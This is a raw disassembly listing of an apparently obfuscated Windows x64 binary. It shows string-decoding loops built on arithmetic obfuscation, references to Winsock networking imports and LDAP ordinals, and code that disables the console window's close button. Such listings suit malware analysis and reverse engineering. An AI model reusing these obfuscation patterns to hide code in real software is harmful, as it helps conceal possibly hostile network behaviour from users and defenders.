lea rax, [r10 + 0x64]
cmp r9, rax
ja 0x1400bdb1b
lea rax, [r10 + 0x1000]
cmp r9, rax
ja 0x1400bdb02
lea rax, [r10 + 0x2a]
cmp r9, rax
ja 0x1400bdadf
lea rcx, [r10 + 0x61]
cmp r9, rcx
ja 0x1400bdab9
lea rax, [r10 + 1]
cmp r9, rax
ja 0x1400bdaab
lea rax, [r10 + 6]
cmp r9, rax
ja 0x1400bd8a0
mov r9, rcx
lea r10, [rcx + 0x20]
jmp 0x1400bd8a0
lea edi, [r8 + 0xe]
movzx eax, dil
and al, r11b
add al, al
sub dil, al
sub dil, 0x62
add dil, r11b
jmp 0x1400bd892
lea ecx, [r8 + 0x3a]
movzx eax, cl
and al, r11b
mov edi, gethostname
sub dil, al
add dil, dil
add dil, cl
add dil, r11b
jmp 0x1400bd840
add r8b, 0x66
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
jmp 0x1400bd7c0
lea edx, [r8 - 0x70]
mov ecx, 8
jmp 0x1400be0ea
sub r8b, 0x44
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x24
inc r10
dec rbx
inc rbx
jmp 0x1400bd7a2
sub r8b, 0x18
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x58
dec rbx
inc rbx
jmp 0x1400bd7a2
lea edx, [r8 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400be043
add r8b, 0x40
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
jmp 0x1400be188
add r8b, 0x6c
movzx eax, r8b
and al, r11b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
jmp 0x1400be18b
lea ecx, [r8 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x28
jmp 0x1400be1ca
sub r8b, 0x3c
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x5c
jmp 0x1400be1f7
sub r8b, 0x10
movzx eax, r8b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
movzx eax, byte [rbp + rbx + 0xf8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bd7a2
add r8b, 0x5e
movzx eax, r8b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
mov byte [rbp + rbx + 0xf8], dil
inc rbx
jmp 0x1400bd7a2
lea edx, [r8 - 0x76]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r10, 9
jb 0x1400bdbdf
lea ecx, [r8 + 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x48]
jmp 0x1400be0fb
lea edx, [r8 - 0x4a]
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r9, 0x20
jae 0x1400be02c
lea rax, [r10 + 1]
cmp r9, rax
jbe 0x1400bdf8e
lea edx, [r8 - 0xc]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
jmp 0x1400bdbfe
lea ecx, [r8 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2e
lea rax, [r10 + r9]
cmp rax, 0x41
je 0x1400be072
lea rax, [r10 + 0x40]
cmp r9, rax
jbe 0x1400bdeee
lea ecx, [r8 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4e
jmp 0x1400bdc47
add r8b, 0x2c
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x34
movzx eax, byte [rbp + rbx + 0xf8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bd7a2
add r8b, 0x58
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x68
jmp 0x1400be1f7
lea edx, [r8 - 0x7c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400be1c7
sub r8b, 0x50
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
jmp 0x1400be18b
sub r8b, 0x24
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 4
jmp 0x1400be188
lea ecx, [r8 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
jmp 0x1400be049
add r8b, 0x34
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x6c
dec rbx
inc rbx
jmp 0x1400bd7a2
add r8b, 0x60
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
inc r10
dec rbx
inc rbx
jmp 0x1400bd7a2
lea edx, [r8 - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1400be0ea
lea rax, [r10 + 6]
cmp r9, rax
jae 0x1400bddf5
lea ecx, [r8 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x66
jmp 0x1400bdc85
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400bde2f
add r8b, 0x64
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
movzx eax, byte [rbp + rbx + 0xf8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bd7a2
inc rax
cmp r9, rax
jne 0x1400bde57
add r8b, 0x38
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
jmp 0x1400be1f7
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bde7b
lea ecx, [r8 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x54
jmp 0x1400be1ca
lea rax, [r10 + 4]
cmp r9, rax
jne 0x1400bdea4
sub r8b, 0x4c
movzx eax, r8b
and al, r11b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
jmp 0x1400be188
lea rax, [r10 + 5]
cmp r9, rax
jne 0x1400bdec6
lea edx, [r8 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400be043
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400bdc85
lea ecx, [r8 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1c
jmp 0x1400be0fb
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400bdf12
lea ecx, [r8 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1a
jmp 0x1400be0fb
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400bdf41
add r8b, 0x3e
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
dec rbx
inc rbx
jmp 0x1400bd7a2
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bdf65
lea ecx, [r8 + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7e
jmp 0x1400be049
lea rax, [r10 + 6]
cmp r9, rax
jne 0x1400bdc47
lea edx, [r8 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400be1c7
jne 0x1400bdfbe
sub r8b, 0x38
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x78
movzx eax, byte [rbp + rbx + 0xf8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bd7a2
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bdfe2
lea ecx, [r8 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x1400be1ca
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400be011
sub r8b, 0x6c
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0xc
inc r10
dec rbx
inc rbx
jmp 0x1400bd7a2
lea rax, [r10 + 4]
cmp r9, rax
jne 0x1400bdc09
lea edx, [r8 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400be0ea
lea edx, [r8 + 0x10]
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x70
add dil, dl
add dil, r11b
sub r8b, 6
movzx eax, r8b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, r11b
mov byte [rbp + rbx + 0xf8], cl
jmp 0x1400be188
lea ecx, [r8 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [rcx - 0x3c]
jmp 0x1400be1ca
sub r8b, 0x2e
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
jmp 0x1400be1f7
add r8b, 0x2a
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x26
jmp 0x1400be18b
lea ecx, [r8 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2a
jmp 0x1400be0fb
movzx r8d, bl
lea edx, [r8 + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add r8b, 0x26
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
sub r8b, 0xa
add r8b, r11b
mov byte [rbp + rbx + 0xf8], r8b
inc r10
dec rbx
inc rbx
jmp 0x1400bd7a2
lea edx, [rbx - 0x76]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r10
dec rbx
inc rbx
jmp 0x1400bd7a2
lea edx, [rbx - 0x4a]
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec rbx
inc rbx
jmp 0x1400bd7a2
lea ecx, [rbx + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x62
add r9, r10
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bd7a2
movabs rcx, 0x314ad4b395554266
add rcx, rbx
movzx eax, cl
and al, dl
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
movzx r8d, bl
add dil, r11b
sub r8b, 0x32
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xf8], al
inc r10
add rax, r10
sub rbx, rax
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 8
add cl, r11b
mov byte [rbp + rbx + 0xf8], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xf8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bd7a2
movabs rcx, 0xa76936961b6daebe
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x32
movzx eax, byte [rbp + rbx + 0xf8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bd7a2
sub r8b, 0x6e
movzx eax, r8b
and al, r11b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r11b
jmp 0x1400bd7a0
sub r8b, 0x42
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x32
jmp 0x1400bd790
mov eax, dword [rbp + 0x165ce30]
jmp 0x1400be2be
mov eax, dword [rbp + 0x11fb31a]
jmp 0x1400be2be
mov eax, dword [rbp + 0xf8]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.14004ff70
mov rcx, rax
call fcn.14004ffe0
jmp 0x1400bbd90
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rcx, rax
mov edx, 0xf060
mov r8d, 1
call qword [sym.imp.USER32.dll_EnableMenuItem]
mov byte [rbp + 0x1c0], __WSAFDIsSet
mov byte [rbp + 0x1c1], WSASetLastError
mov byte [rbp + 0x1c2], 0x60
mov byte [rbp + 0x1c3], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x1c4], WSASetLastError
mov byte [rbp + 0x1c5], 0x7d
mov byte [rbp + 0x1c6], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c7], xmm0
mov qword [rbp + 0x1d7], rax
mov dword [rbp + 0x1df], eax
movabs rsi, 0x86e4b785af794d60
movabs r15, 0xb04104a7cc511da0
movabs r14, 0x94ae26910e6be820
movzx edx, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400bee4f
movzx r11d, byte [rbp + rbx + 0x1c0]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400bee46
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400be3db
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x60
jmp 0x1400be407
je 0x1400bedd4
inc rax
cmp r8, rax
je 0x1400bed49
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bed17
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400becf8
movzx r10d, bl
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400bee3d
lea rcx, [r9 + 6]
cmp r8, rcx
jae 0x1400be439
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x1400be482
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400becb6
inc rax
cmp r8, rax
je 0x1400bec7c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bec60
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400beb0e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bec43
cmp r8, rcx
je 0x1400beb3b
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400be9a7
nop
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400be98a
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x1400be96c
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400be94a
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400be92b
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400be90b
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bea35
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400be8ef
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400be8d1
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400be8a0
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400be490
mov r8, rcx
lea r9, [rcx + 8]
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x1400bee1d
lea rcx, [r9 + 0x61]
cmp r8, rcx
jb 0x1400bee01
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400be678
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400be65b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400be63e
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400be857
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400be812
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400be7d4
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400be7aa
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400be490
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400be784
lea rcx, [r9 + 0x200]
cmp r8, rcx
ja 0x1400be766
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400be747
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400be727
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400be712
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400be6f6
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400be6d4
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400be6ab
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400be694
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400be490
mov r8, rcx
lea r9, [rcx + 9]
jmp 0x1400be490
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400be482
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400be410
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
jmp 0x1400be3b0
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, r10b
jmp 0x1400beccb
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400be392
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x80
dec rbx
inc rbx
jmp 0x1400be392
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x40
add dl, cl
jmp 0x1400bec91
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
jmp 0x1400bed2e
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400bed31
lea edx, [r10 + 0x80]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x80
add dl, cl
jmp 0x1400bed61
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x40
add dl, r10b
jmp 0x1400bed8e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
movzx eax, byte [rbp + rbx + 0x1c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be392
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x1c0], dl
inc rbx
jmp 0x1400be392
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 0x10
jb 0x1400be7c5
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 + 0x80]
jmp 0x1400beccb
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
cmp r8, 0x42
jae 0x1400bec0d
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400beb68
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x40
add dl, cl
jmp 0x1400be7ec
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400bec24
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400bea98
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x1400be827
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x1c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be392
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
add dl, 0x80
add dl, r10b
jmp 0x1400bed8e
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x40
add dl, cl
jmp 0x1400bed61
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400bed2e
lea edx, [r10 + 0x80]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x80
add dl, cl
jmp 0x1400bec91
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x40
dec rbx
inc rbx
jmp 0x1400be392
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
inc r9
dec rbx
inc rbx
jmp 0x1400be392
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400beccb
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400be9d0
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400be86c
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bea06
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x40
movzx eax, byte [rbp + rbx + 0x1c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be392
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bea2c
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400bed61
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bea4a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
jmp 0x1400bed31
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bea6f
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x40
jmp 0x1400bed2e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400be86c
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x40
add dl, cl
jmp 0x1400beccb
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400becb6
inc rax
cmp r8, rax
jne 0x1400bead6
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400be392
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400beb05
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400be392
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400beb2e
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bed31
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400be827
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
movzx eax, byte [rbp + rbx + 0x1c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be392
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400beb9e
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x80
movzx eax, byte [rbp + rbx + 0x1c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be392
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bebbe
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, r10b
jmp 0x1400bed61
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bebe3
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x80
jmp 0x1400bed2e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400be7ec
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400bec91
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
add dl, r11b
add dl, r10b
jmp 0x1400bec91
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, r11b
sub dl, 0x40
add dl, cl
jmp 0x1400bed61
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bed61
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
jmp 0x1400bed2e
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x1c0], cl
jmp 0x1400bed2e
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, r11b
mov byte [rbp + rbx + 0x1c0], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400be392
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400be392
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400be392
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x60
movzx r10d, bl
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x1c0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x80]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x80
add r11b, cl
mov byte [rbp + rbx + 0x1c0], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x1c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be392
lea rax, [rbx + r14]
and dil, al
mov ecx, reloc.WS2_32.dll_recv
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r11b
movzx eax, byte [rbp + rbx + 0x1c0]
add rax, r9
add rbx, rax
inc rbx
